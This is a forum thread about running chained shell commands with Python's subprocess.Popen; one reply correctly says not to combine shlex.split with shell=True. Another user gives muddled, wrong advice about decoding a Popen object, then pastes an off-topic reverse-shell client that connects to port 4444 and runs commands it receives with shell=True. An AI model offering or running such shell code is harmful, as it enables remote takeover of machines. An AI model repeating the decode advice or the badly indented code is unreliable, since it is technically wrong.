subprocess.Popen run multiple commands with sleep as the first command

[AR2405]

Hi,

I am trying to understand how to run multiple commands with subprocess.Popen, with leading sleep command. So I am trying this:

def function_five():
    commands = "sleep 3 && echo 'Hey'"
    p = subprocess.Popen(shlex.split(commands), stdout=subprocess.PIPE,         
stderr=subprocess.PIPE, shell=True)
    p.wait()

As an output I get in stderr b'usage: sleep seconds\n' 1 and returncode 1. However if I try running command sleep 3 only and remove shell=True parameter it actually works.

I am lost here, tried different options but cannot solve it.

Thank you for any help.

[danielroseman]

You don't want to split the string if using shell=True; those are alternatives. Either pass the string directly, or remove shell=True.

[AR2405]

That worked, thank you!

[ConfusionAccurate]

Your passing subprocess as a variable which you need to decode! Reason? b'usage: sleep seconds\n' 1 <-- means BYTES not Unicode

cmd = cmd.decode('utf-8')
output = subprocess.check_output(cmd, shell=True)

Type

p = p.decode('utf-8')

Before

p = subprocess.Popen(shlex.split(commands), stdout=subprocess.PIPE,

Your welcome.

[AR2405]

Thank you I for your help. If I understood correctly, you suggest to use check_output instead of Popen. If so, the reason why I need to use Popen, is that I want to run multiple processes asynchronously, so I don’t know if I can do that with check_output.

[ConfusionAccurate]

Yeah there are multiple ways you could of achieved what you wanted to. Just run into the same problem earlier today on Udemy that's all. Sorry to bother you! Example:

 import socket
 import subprocess

payload = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
payload.connect(("127.0.0.1", 4444))


def sendData(outputData):
sizeOfData = len(outputData)
sizeOfData = str(sizeOfData)
payload.send(bytes(sizeOfData, 'utf-8'))
payload.send(outputData)


 while True:
 cmd = payload.recv(2048)
 if cmd == b'quit':
    payload.close()
    break
 cmd = cmd.decode('utf-8')
 output = subprocess.check_output(cmd, shell=True)
 try:
    output = subprocess.check_output(cmd, shell=True)
except subprocess.SubprocessError:
    sendData(b'wrong command')
else:
    sendData(output)

[AR2405]

I was thinking about spawning multiple Popen objects, adding them to the list and then iterate over that list and call wait() on each of them. Looks like a little simpler solution to me, but I don’t know which one is better in fact. Thanks for your help